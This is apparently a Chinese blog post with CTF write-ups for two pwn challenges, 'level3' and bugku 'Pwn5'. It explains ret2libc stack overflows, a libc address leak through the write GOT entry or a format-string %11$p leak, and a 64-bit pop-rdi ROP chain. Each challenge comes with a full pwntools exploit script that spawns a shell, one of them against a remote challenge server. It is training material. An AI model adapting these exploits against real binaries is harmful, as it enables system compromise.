Pwn 解题报告之libc

这是前一段时间所做的题,因为一些原因,现在才更新。废话不多说,进入正题。

大家知道,在栈溢出的题目中一般是不会给出system()函数和/bin/sh这两个后门的。所以一般的情况是,能够找到溢出点,但需要花一些心思才能构造出我们的ROP链。这里以几道简单的题目作为引入,这几道题目都是没有给出后门,但是都通过泄露出libc库的地址来推算出真正的地址,从而来达到栈溢出的效果。

1.level3-攻防世界

拿到文件是一个gzip,先解压,有一个elf文件和一个libc动态链接库。

查保护
放到IDA中,F5查看伪代码

显然可以通过read函数来溢出,但是没有system函数和/bin/sh字符串。

但是这题给出了libc库

在这个题目中write函数是以plt表的形式调用的, 也就是利用到了libc动态链接库。 在libc动态链接库中每个函数的地址之间差值是一样的。也就是说我知道了write函数和sysytem函数在libc动态链接库中的偏移量,write函数在elf文件中的绝对地址。知道以上的条件,就可以推算出system函数在elf文件中的绝对地址。/bin/sh字符串同理。

思路: write函数和sysytem函数在libc动态链接库中的偏移很容易得到,通过泄露write函数的绝对地址来计算出system函数和/bin/sh字符串的地址。而泄露的方法就是先进行一次rop调用write函数打印出write函数的真实地址(也就是got表里的write函数的地址)

在libc中/bin/sh的地址。
Strings -t  可以查看字符串在文件中的地址,x是以十六进制打印的意思。

exp:

from pwn import *
r=remote('111.198.29.45',42891)
libc=ELF('./libc_32.so.6')
elf=ELF('./level3')
sys_libc=0x0003A940
bin_libc=0x15902B
vul=0x0804844B
write_libc = 0x000D43C0
write_got = 0x0804A018
write_plt = 0x08048340
payload1='a'*0x88+'a'*4+p32(write_plt)+p32(vul)+p32(1)+p32(write_got)+p32(4)

#write(1,write_got,4),这里相当于调用write函数,传入参数1,write_got,4,
#再调用vul函数来进行第二次攻击。
r.recvuntil("Input:\n")
r.sendline(payload1)
write_real=u32(r.recv(4))
offest=write_real-write_libc
sys_real=sys_libc+offest
bin_real=bin_libc+offest
r.recvuntil("Input:\n")
payload2='a'*0x88+'a'*4+p32(sys_real)+'a'*4+p32(bin_real)
r.sendline(payload2)
r.interactive()
运行结果

Pwn5-bugku

查保护
IDA

可以很明显的看到printf处有格式化字符串漏洞,还有read函数可以溢出。 这题也没有后门,只能通过泄露libc地址来寻找system函数和/bin/sh字符串。

strstr函数的作用是查找第一个字符串中是否包含第二个字符串。如果没有就返回null,为了避免exit(0)所以我们输入的字符串中要包含needle和byte_4009BA这两个字符串。但是这个题目给的是中文,在IDA里面看不了他们的值,用gdb调试看看。

把断点打在第一个call strstr这个语句上,断点为0x0000000000400885

在gdb中分别查看 needle 和 byte_4009BA

这时候栈上有_libc_start_main函数,可以通过格式化字符串漏洞泄露其地址。

那么这个函数的地址就可以利用格式
0x28=40
40/8+6=11 ,6是因为在64位程序中函数通过6个寄存器传递参数,多余的参数才压入栈中。
取栈顶第11个参数即可 %11$p

思路:

利用libc_Start_main来泄露libc地址,然后在根据偏移量算出system和/bin/sh在elf文件中的的地址。

这题也没有给libc文件,libc文件和上一题是一样的。

这里解释一下,在64位程序中函数通过寄存器传递参数, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9 多余的参数再压入栈中。所以我们要把/bin/sh传入寄存器rdi中。就要先查找pop rdi ret这个汇编指令。

ROPgadget查找汇编指令

exp:

#!/usr/bin/env python
 # encoding: utf-8
from pwn import *
p=process('./human')
payload1="%11$p"
p.sendline(payload1)
p.recvline()
libc_start_main_addr=p.recvuntil("%11$p")[:-6]
libc_base=int(libc_start_main_addr,16)-0x20830
sys_libc=0x0000000000045390
bin_sh_libc=0x18cd57
pop_rdi_ret=0x400933
sys_real=libc_base+sys_libc
bin_real=libc_base+bin_sh_libc
p.recvuntil("人类还有什么本质?\n")
payload2="鸽子"
payload2+="真香"
payload2=payload2.ljust(0x20,'a')
payload2+='a'*8+p64(pop_rdi_ret)+p64(bin_real)+p64(sys_real)
p.sendline(payload2)
p.interactive()

解释一下那个-6,如果不加-6,就会这样,把\n%11$p都接受进来。

这些是前段时间做的一些题目,现在翻出来看看,正好做一个总结,还有一些最近做的题目,还没有理解透彻就先不发出来了。

发表评论

电子邮件地址不会被公开。 必填项已用*标注